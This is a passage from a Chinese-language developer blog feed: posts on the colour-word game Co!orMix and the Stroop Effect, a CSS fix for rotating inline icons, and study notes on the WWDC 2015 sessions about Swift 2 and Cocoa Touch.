&lt;p&gt;最后，如果你读到这里觉得：wow，你们好厉害，居然可以通过这样一个心理学现象就设计出一个游戏！我很真诚的说，谢谢您的赞美但是您想多了那么一点。其实，最初我们只是觉得这个游戏的形式简单而且还挺有趣的，所以就决定开工了，这个 Stroop Effect 只是因为我觉得这种现象在心理学中一定有个比较正式的说法吧，肯定还轮不到我来发现命名这种简单的心理学现象，所以就做了一点搜索，然后果然有人在八十多年前就发现命名了（还决定挺可惜的）。很多时候，事情往往就是这样，一些平常、不起眼的事背后隐藏着一些很有趣的解释和现象（说到这里，关于 Stroop Effect 的产生的原因有不下6种理论，我们对与自己的认知处理过程的认识还有长长的路要走啊。），也许哪天你也不小心就发现了一个之前被人们忽略的现象，然后就有个以自己名字命名的 Effect 了。&lt;/p&gt;

&lt;p&gt;Sounds cool, right?&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;最后的最后，既然都读到这里，如果你还没有玩过 Co!orMix，不妨下载下来试一试吧：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Website: http://colormix.cee.moe&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Twitter: &lt;a href=&quot;https://twitter.com/ColorMix_Game&quot;&gt;@ColorMix_Game&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://itunes.apple.com/us/app/co!ormix/id1011677035?ls=1&amp;amp;mt=8&quot;&gt;iTunes Store&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;以及二维码：
&lt;img src=&quot;http://ww3.sinaimg.cn/thumbnail/aa266f4dgw1etqjoifoi2j20b40b4q4p.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

          
          
        
      
        </content><summary>  本文作者為 UI/UX 設計師 @albuszheng 所寫。</summary></entry><entry><title>About Co!orMix (1) - Introduction</title><id>http://blog.cee.moe/about-colormix-1.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/about-colormix-1.html" /><published>2015-07-04T00:00:00-07:00</published><updated>2015-08-03T05:07:11-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;p&gt;&lt;img src=&quot;http://ww1.sinaimg.cn/bmiddle/aa266f4dgw1etqi32r084j20k006o3z7.jpg&quot; alt=&quot;logo&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;游戏介绍&quot;&gt;游戏介绍&lt;/h3&gt;

&lt;p&gt;你唯一需要做的就是选择正确的颜色！很简单吧？
千万别把背景色、词语的颜色和词语的意思搞混了哦！&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://ww1.sinaimg.cn/bmiddle/aa266f4dgw1etqi6iaf5xj20ku11240z.jpg&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;开发细节&quot;&gt;开发细节&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Replay 按钮的布局：第一版的设计稿放在了和 Home 按钮一样的位置，考虑到整个游戏用户点按的区域只在屏幕的下方区域，于是后来 Replay 的位置被放在了即使是单手操作也能放到的下方区域。&lt;/li&gt;
  &lt;li&gt;Method Swizzling：处理了很多关于打点监控事件的问题，具体可以看一下 NSHipster 上的&lt;a href=&quot;http://nshipster.com/method-swizzling/&quot;&gt;这篇文章&lt;/a&gt;。&lt;/li&gt;
  &lt;li&gt;TestFlight：算是第一次真真切切地用上 TestFlight 这个极棒的分发测试工具。对于收集用户反馈很有效果（例如游戏的难度控制：在后面难度变大的情况下的心理变化）。不过在提交 Beta 测试的时候也需要等待 Apple 的批准。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;todo&quot;&gt;Todo&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;整个游戏由于是围绕着&lt;strong&gt;颜色&lt;/strong&gt;展开，所以在颜色的选取上已经照顾了色盲和色弱的同学。当然，在之后的版本中也会在设置中加上这种开关选项（Grayscale），来满足这小部分人群的需求。&lt;/li&gt;
  &lt;li&gt;对于游戏模式的开发和迭代。&lt;/li&gt;
  &lt;li&gt;对于  Watch 的适配~（现在整个 App 是完美适配 iPhone/iPad 下的横竖屏模式的哦！）&lt;/li&gt;
  &lt;li&gt;Android 版本：快结束了，应该过两天能和大家见面(&amp;lt;ゝω·)☆&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;开发人员&quot;&gt;开发人员&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;http://ww3.sinaimg.cn/bmiddle/aa266f4dgw1etqjgruv1jj20m60hu408.jpg&quot; alt=&quot;GitHub&quot; /&gt;&lt;/p&gt;

&lt;p&gt;整个开发一共就只有三位大三同学：我，@albuszheng，还有某不上 v2ex 的 iOS 大牛舍友。经过晚上一小时的头脑风暴 + 一天的原型交互和 Demo + 一天的完善 + 一天的测试调整，最后在周六的晚上就提前提交了整个 App。这一次的开发也可谓是最开心最愉快进度最快的一次！代码托管在 GitHub 上，任务分配使用 Issue，文档写在了 GitHub Wiki 上，也方便存档。&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;最后，也希望大家能够捧个场，多多下载吧：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Website: http://colormix.cee.moe&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Twitter: &lt;a href=&quot;https://twitter.com/ColorMix_Game&quot;&gt;@ColorMix_Game&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://itunes.apple.com/us/app/co!ormix/id1011677035?ls=1&amp;amp;mt=8&quot;&gt;戳我进入 iTunes 下载&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;二维码下载：&lt;/p&gt;

    &lt;p&gt;&lt;img src=&quot;http://ww3.sinaimg.cn/thumbnail/aa266f4dgw1etqjoifoi2j20b40b4q4p.jpg&quot; alt=&quot;二维码&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;


          
          
        
      
        </content><summary></summary></entry><entry><title>Why CSS transform doesn't work on inline elements</title><id>http://blog.cee.moe/why-css-transform-doesnt-work-on-inline-elements.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/why-css-transform-doesnt-work-on-inline-elements.html" /><published>2015-06-30T00:00:00-07:00</published><updated>2015-08-03T05:06:38-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;p&gt;&lt;strong&gt;CSS TRANSFORM DOESN’T WORK! WHY?&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;// index.html
&amp;lt;footer&amp;gt;
	&amp;lt;p&amp;gt;&amp;lt;a href=&quot;blablabla&quot;&amp;gt;
    	&amp;lt;i class=&quot;fa fa-twitter fa-2x&quot;&amp;gt;&amp;lt;/i&amp;gt;
    &amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;/footer&amp;gt;

// main.css
i:hover {
	color: #468ae9;
	-webkit-transform: rotate(360deg);	/* Safari &amp;amp; Chrome */
    -o-transform: rotate(360deg);	/* Opera */
    -moz-transform: rotate(360deg); /* Firefox 4 */
    transform: rotate(360deg);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;hr /&gt;

&lt;p&gt;&lt;strong&gt;Transformable element&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A transformable element is an element in one of these categories:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;an element whose layout is governed by the CSS box model which is either a block-level or atomic inline-level element, or whose display property computes to table-row, table-row-group, table-header-group, table-footer-group, table-cell, or table-caption [CSS21]&lt;/li&gt;
  &lt;li&gt;an element in the SVG namespace and not governed by the CSS box model which has the attributes transform, ‘patternTransform‘ or gradientTransform [SVG11].&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ref：http://dev.w3.org/csswg/css-transforms-1/&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;&lt;strong&gt;Fix it:&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;// index.html
&amp;lt;footer&amp;gt;
	&amp;lt;p class=&quot;animation&quot;&amp;gt;&amp;lt;a href=&quot;blablabla&quot;&amp;gt;
    	&amp;lt;i class=&quot;fa fa-twitter fa-2x&quot;&amp;gt;&amp;lt;/i&amp;gt;
    &amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;/footer&amp;gt;

// main.css
p.animation:hover {
	color: #468ae9;
	-webkit-transform: rotate(360deg);	/* Safari &amp;amp; Chrome */
    -o-transform: rotate(360deg);	/* Opera */
    -moz-transform: rotate(360deg); /* Firefox 4 */
    transform: rotate(360deg);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

          
          
        
      
        </content><summary>CSS TRANSFORM DOESN’T WORK! WHY?</summary></entry><entry><title>WWDC 15 Session 106 学习笔记</title><id>http://blog.cee.moe/wwdc-15-session-106-learning-notes.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/wwdc-15-session-106-learning-notes.html" /><published>2015-06-13T00:00:00-07:00</published><updated>2016-01-28T06:44:36-08:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;blockquote&gt;
  &lt;p&gt;Chris Lattner 實在是太帥了！&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;session-106---whats-new-in-swift&quot;&gt;Session 106 - What’s new in swift&lt;/h2&gt;
&lt;h3 id=&quot;why-swift-2&quot;&gt;Why Swift 2&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;Fundamentals: Refine language and tools fundamentals&lt;/li&gt;
  &lt;li&gt;Safety: Affordances for writing robust and safe code&lt;/li&gt;
  &lt;li&gt;Beauty: Enable expressive libraries and APIs&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
  &lt;p&gt;用更好的語言寫更加安全和漂亮的代碼！&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;whats-new-in-swift-2&quot;&gt;What’s New in Swift 2&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Fundamentals&lt;/li&gt;
  &lt;li&gt;Pattern Matching&lt;/li&gt;
  &lt;li&gt;Availabilty Checking&lt;/li&gt;
  &lt;li&gt;Protocol Extensions&lt;/li&gt;
  &lt;li&gt;Error Handling&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;fundamentals&quot;&gt;Fundamentals&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Enums&lt;/p&gt;

    &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  enum Animals {
  	case a, b
  }
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Associated Values in Enums&lt;/p&gt;

    &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  enum Either&amp;lt;T1, T2&amp;gt; {
  	case First(T1)
      case Second(T2)
  }
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Recursion Enums&lt;/p&gt;

    &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  enum Tree&amp;lt;T&amp;gt; {
  	case Leat(T)
  	indirect case Node(Tree, Tree)
  }
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;do&lt;/code&gt; Statement&lt;/p&gt;

    &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  do {
  	let a = Animals.Troll
  	...
  }
  // loop
  repeat {
      ...
  }
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Option Sets&lt;/p&gt;

    &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  [option1, option2]
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;

    &lt;ul&gt;
      &lt;li&gt;
        &lt;p&gt;Defining an Option: Using Protocol-Oriented Programming&lt;/p&gt;

        &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  struct MyFontSyle : SetOptionSetType
&lt;/code&gt;&lt;/pre&gt;
        &lt;/div&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Functions and Methods&lt;/p&gt;

    &lt;ul&gt;
      &lt;li&gt;Consistent Argument Labels&lt;/li&gt;
      &lt;li&gt;Duplicate first name&lt;/li&gt;
      &lt;li&gt;Underscore to disable name labels&lt;/li&gt;
      &lt;li&gt;# argument syntax&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Diagnostics&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;SDK Improvements&lt;/p&gt;

    &lt;ul&gt;
      &lt;li&gt;Nullability qualifiers&lt;/li&gt;
      &lt;li&gt;Objective-C typed Collections&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Testing&lt;/p&gt;

    &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  @testable
  import MyApp
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Rich Comments&lt;/li&gt;
  &lt;li&gt;A Lot More!&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;pattern-matching&quot;&gt;Pattern Matching&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;if-let&lt;/code&gt; Statment
    &lt;ul&gt;
      &lt;li&gt;Compound Conditions&lt;/li&gt;
      &lt;li&gt;
        &lt;p&gt;Early Exits: &lt;code class=&quot;highlighter-rouge&quot;&gt;guard&lt;/code&gt; Statement&lt;/p&gt;

        &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    guard let name = json[&quot;name&quot;] as? String else {
        return .Second(&quot;missing name&quot;)
    }
    // Compound Condidtions
    guard let name = json[&quot;name&quot;] as? String,
          let year = json[&quot;year&quot;] as? Int else {
        return .Second(&quot;bad input&quot;)
    }
&lt;/code&gt;&lt;/pre&gt;
        &lt;/div&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Switch&lt;/code&gt;&lt;/p&gt;

    &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  if case .MyEnumCase(let value) = bar() where value != 42 {
  	doSomething(value)
  }
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;for ... in&lt;/code&gt; Filtering&lt;/p&gt;

    &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  for value in mySequence where value != &quot;&quot; {
  	doSomething(value)
  }
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;availabilty-checking&quot;&gt;Availabilty Checking&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;New APIs
    &lt;ul&gt;
      &lt;li&gt;springLoaded&lt;/li&gt;
      &lt;li&gt;old: &lt;code class=&quot;highlighter-rouge&quot;&gt;respondsToSeletor&lt;/code&gt; Method&lt;/li&gt;
      &lt;li&gt;new: get a diagnostic&lt;/li&gt;
      &lt;li&gt;
        &lt;p&gt;Example:&lt;/p&gt;

        &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  if #available(OSX 10.10.3, *) {
  	...
  }
&lt;/code&gt;&lt;/pre&gt;
        &lt;/div&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;protocol-extensions&quot;&gt;Protocol Extensions&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;Extensions
    &lt;ul&gt;
      &lt;li&gt;
        &lt;p&gt;Old&lt;/p&gt;

        &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  extension Array {
      func countIf(match: Element -&amp;gt; Bool) -&amp;gt; Int {
          var n = 0;
          for value in self {
              if match(value) {
                  n++;
              }
          }
          return n
      }
  }   + Global Functions
&lt;/code&gt;&lt;/pre&gt;
        &lt;/div&gt;
      &lt;/li&gt;
      &lt;li&gt;
        &lt;p&gt;New&lt;/p&gt;

        &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  extension CollectionType
&lt;/code&gt;&lt;/pre&gt;
        &lt;/div&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Method&lt;/p&gt;

    &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  .map().filter()
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;error-handling&quot;&gt;Error Handling&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;Kinds
    &lt;ul&gt;
      &lt;li&gt;Trivial Errors&lt;/li&gt;
      &lt;li&gt;Logic Errors&lt;/li&gt;
      &lt;li&gt;Detailed, recoverable Errors&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Example
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;try&lt;/code&gt; Keyword&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;throws&lt;/code&gt; Keyword&lt;/li&gt;
      &lt;li&gt;
        &lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;do-catch&lt;/code&gt; Block&lt;/p&gt;

        &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  do {
      ...
  } catch let error {
  	...
  } catch {
  	fatalError()
  }
&lt;/code&gt;&lt;/pre&gt;
        &lt;/div&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;try!&lt;/code&gt; Keyword&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Enums as Error Types&lt;/p&gt;

    &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  enum DataError : ErrorType {
  	case MissingName
      case MissingFile
  }
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Defer Actions&lt;/p&gt;

    &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  defer { delegate?.didEndProcessing() }
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ul&gt;

          
          
        
      
        </content><summary>  Chris Lattner 實在是太帥了！</summary></entry><entry><title>WWDC 15 Session 107 学习笔记</title><id>http://blog.cee.moe/wwdc-15-session-107-learning-notes.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/wwdc-15-session-107-learning-notes.html" /><published>2015-06-12T00:00:00-07:00</published><updated>2016-01-28T06:44:49-08:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;h3 id=&quot;session-107---whats-new-in-cocoa-touch&quot;&gt;Session 107 - What’s New in Cocoa Touch&lt;/h3&gt;

&lt;h4 id=&quot;looking-back&quot;&gt;Looking Back&lt;/h4&gt;
&lt;p&gt;在 iOS 9 誕生之前，其實蘋果就已經做了很多基礎建設性的鋪墊了：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;iOS 6：引入了 AutoLayout&lt;/li&gt;
  &lt;li&gt;iOS 7：Dynamic Type，系统可以设置 app 内的字体大小&lt;/li&gt;
  &lt;li&gt;iOS 8：Adaptivity，可以在 Xcode 下看到不同的 Size Classes，以及对于不同的 iPhone/iPad 设备适配的 View Controllers 还有 Action Sheets&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;now-in-ios-9&quot;&gt;Now in iOS 9&lt;/h4&gt;
&lt;p&gt;于是来到了 iOS 9 的时代，新增了两个特性：&lt;strong&gt;Multitasking（多任务）&lt;/strong&gt; 和 &lt;strong&gt;Picture-in-Picture（画中画）&lt;/strong&gt;。接下来就是具体介绍了 Cocoa Touch 下的新的特性。&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;AutoLayout：&lt;/p&gt;

    &lt;ul&gt;
      &lt;li&gt;新增 &lt;code class=&quot;highlighter-rouge&quot;&gt;UILayoutGuide&lt;/code&gt; 類來實現過去需要使用不可見的 Dummy View 來作為補充對齊元素的功能。例如：&lt;/li&gt;
    &lt;/ul&gt;

 		UILayoutGuide *space1 = [[UILayoutGuide alloc] init];
    &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;     [self.view addLayoutGuide:space1];
     UILayoutGuide *space2 = [[UILayoutGuide alloc] init];
     [self.view addLayoutGuide:space2];
 
     [space1.widthAnchor constraintEqualToAnchor:space2.widthAnchor].active = YES;
     [self.saveButton.trailingAnchor constraintEqualToAnchor:space1.leadingAnchor].active = YES;
     [self.cancelButton.leadingAnchor constraintEqualToAnchor:space1.trailingAnchor].active = YES;
     [self.cancelButton.trailingAnchor constraintEqualToAnchor:space2.leadingAnchor].active = YES;
     [self.clearButton.leadingAnchor constraintEqualToAnchor:space2.trailingAnchor].active = YES;
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;UIStackView&lt;/p&gt;

    &lt;p&gt;引入 &lt;code class=&quot;highlighter-rouge&quot;&gt;UIStackView&lt;/code&gt; 來創建流式的佈局。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Shortcuts Bar&lt;/p&gt;

    &lt;p&gt;iPad 上輸入法預測的一行在 iOS 9 上同時提供了快捷操作。通過 &lt;code class=&quot;highlighter-rouge&quot;&gt;UITextInputAssistantItem&lt;/code&gt; 來給 Shortcuts Bar 上的左右兩個圖標組（&lt;code class=&quot;highlighter-rouge&quot;&gt;leadingBarButtonGroups&lt;/code&gt; 和 &lt;code class=&quot;highlighter-rouge&quot;&gt;trailingBarButtonGroups&lt;/code&gt;）來添加新的按鈕。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Storyboard&lt;/p&gt;

    &lt;p&gt;多 Storyboard 支持。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Right-to-Left&lt;/p&gt;

    &lt;p&gt;對阿拉伯語等「從右向左」閱讀的語言進行了支持。對不同的 Controller、Gesture 甚至 UIImage 都可以選擇顯示的方向。在 iOS 9 下，UIView 也增加了 
&lt;code class=&quot;highlighter-rouge&quot;&gt;UISemanticContentAttribute&lt;/code&gt; 這樣一個屬性來判斷視圖是否會遵循顯示的方向規則（默認是 &lt;code class=&quot;highlighter-rouge&quot;&gt;UISemanticContentAttributeUnspecified&lt;/code&gt;）。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Accessibility：吐槽一下國內的公司很少有接觸這一塊啊…&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Text Editing Gestures：可以在鍵盤上利用手勢來實現對指針的移動、文本的選擇的功能。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Keyboard Commands（Cheatsheet）：連接外接鍵盤的時候長按 &lt;code class=&quot;highlighter-rouge&quot;&gt;⌘&lt;/code&gt; 調出。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Touch Events：優化了觸控的延遲，並且使用了觸控預測（Touch Prediction）。&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h4 id=&quot;new-in-kits&quot;&gt;New in Kits&lt;/h4&gt;
&lt;ol&gt;
  &lt;li&gt;UIKit Dynamics：
    &lt;ul&gt;
      &lt;li&gt;支持了非矩形碰撞效果&lt;/li&gt;
      &lt;li&gt;物體關聯時的行為（UIAttachmentBehavior）&lt;/li&gt;
      &lt;li&gt;在不同力場下的行為（UIFieldBehavior）&lt;/li&gt;
      &lt;li&gt;其他的視覺效果（Visual Effects in Spotlight）&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;API Optimizations for Swift：在 Session 106 下有詳細解釋。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Notifications：通知顯示的方式（Behavior）。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Safari：App 內可以使用 &lt;code class=&quot;highlighter-rouge&quot;&gt;SFSafariViewController&lt;/code&gt; 來提供原生瀏覽器的支持。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;Extension：
    &lt;ul&gt;
      &lt;li&gt;VPN Tunnel provider&lt;/li&gt;
      &lt;li&gt;App proxy provider&lt;/li&gt;
      &lt;li&gt;Filter control provider&lt;/li&gt;
      &lt;li&gt;Safari
        &lt;ul&gt;
          &lt;li&gt;Shared links&lt;/li&gt;
          &lt;li&gt;Content blocking&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;Spotlight
        &lt;ul&gt;
          &lt;li&gt;Indexing of application data&lt;/li&gt;
          &lt;li&gt;Index maintenance&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;Audio Units&lt;/li&gt;
    &lt;/ul&gt;

    &lt;p&gt;前面幾點感覺 SS 和 Adblock 即將走進 iOS 9 中。最後的 Audio Units 要提一下，開發者可以使用系統中不支持的視頻或者音頻播放格式了。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Contacts：新的 API，一筆帶過了。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Wallet and PassKit：為  Pay 鋪路。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Core Location：提供了單次獲得地點的 API，使用 &lt;code class=&quot;highlighter-rouge&quot;&gt;CLLocationManager&lt;/code&gt; 中的 &lt;code class=&quot;highlighter-rouge&quot;&gt;requestLocation&lt;/code&gt; 函數。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;MapKit：提供 3D 俯視視圖，可以顯示交通情況以及指南針等功能。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;HealthKit：和 watchOS 2 適配，增加了數(xing)據(sheng)類(huo)型和調用 API 接口。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;ResearchKit：適配 iPad 並且提供了照片捕獲的功能。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;HomeKit：
    &lt;ul&gt;
      &lt;li&gt;Detailed change notifications&lt;/li&gt;
      &lt;li&gt;Predefined scenes&lt;/li&gt;
      &lt;li&gt;Expanded trigger support&lt;/li&gt;
      &lt;li&gt;watchOS 2 support&lt;/li&gt;
      &lt;li&gt;Remote access&lt;/li&gt;
    &lt;/ul&gt;

    &lt;p&gt;智能家電的春天就要到了！&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;CloudKit：更加優惠的價格和服務，Web 端的支持。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;UIDocument：Open in place。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;On Demand Resources：詳細在 Session 105 中。
    &lt;ul&gt;
      &lt;li&gt;Hosted on the App Store&lt;/li&gt;
      &lt;li&gt;Asset Tags&lt;/li&gt;
      &lt;li&gt;App Slicing&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;ReplayKit&lt;/p&gt;
